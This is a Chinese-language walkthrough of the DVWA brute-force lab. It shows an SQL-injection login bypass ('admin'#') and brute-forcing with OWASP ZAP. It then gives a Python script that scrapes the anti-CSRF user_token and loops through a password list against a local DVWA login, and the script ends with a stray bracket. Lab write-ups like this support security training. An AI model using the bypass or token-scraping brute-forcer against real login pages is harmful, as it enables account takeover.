一、 第一题
先从难度是low的开始。
我们尝试了下admin’# 直接把密码注释掉,
成功破解。
我们尝试下medium等级
还是尝试了下admin’#,发现密码错误,看来这个漏洞被防护了
首先我们抓包看下http请求头的信息,发现可以在http头部看到看到我们提交的账号密码,既然这样我们使用owasp zap 软件暴力破解。
这是我使用的字典,大家可以去百度搜索更多的字典
暴力成功破解出账号密码。
下面我们尝试high等级,发抓包发现多了个user_token(它的职责是保护用户的用户名及密码多次提交,以防密码泄露。)
且每一次的user_take会被记录到下一次请求头里的referrer里。这样上面的方法我们就不能使用了。
但是认真观察,我们可以发现第一次进登录页面是没有user_token,这就是突破口。那么就可以一直在登录界面和第一次登录进行破解。
还有一种思路是虽然加了user_token,但是并没有对尝试的次数进行限制,我们可以先获取user_token,然后用user_token加上用户密码验证身份。
我们使用python脚本自动化爆力破解(第二种思路)。
from bs4 import BeautifulSoup
import requests
header={
'GET': 'http://localhost/DVWA/vulnerabilities/brute/ HTTP/1.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer':'http://localhost/DVWA/vulnerabilities/brute/',
'cookie':'PHPSESSID=8fbhto539r4fnjt4dduolvikj3; security=high',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1',
'Host':'127.0.0.1'
}
requrl="http://127.0.0.1/DVWA/vulnerabilities/brute/"
def get_token(requrl,header):
response=requests.get(url=requrl,headers=header)
print (response.status_code,len(response.content))
soup=BeautifulSoup(response.text,"html.parser")
input=soup.form.select("input[type='hidden']") #返回的是一个list列表
user_token=input[0]['value'] #获取用户的token
return user_token
user_token=get_token(requrl,header)
i=0
for line in open("password.txt"):
requrl="http://127.0.0.1/DVWA/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i=i+1
print (i , 'admin' ,line.strip(),end=" ")
user_token=get_token(requrl,header)
# 尝试次数
if(i==20):
break
)
我们继续查看impose等级,发现输错3次就被限制15分钟无法登入。那么还有什么是可以防止暴力破解的呢?还有验证码。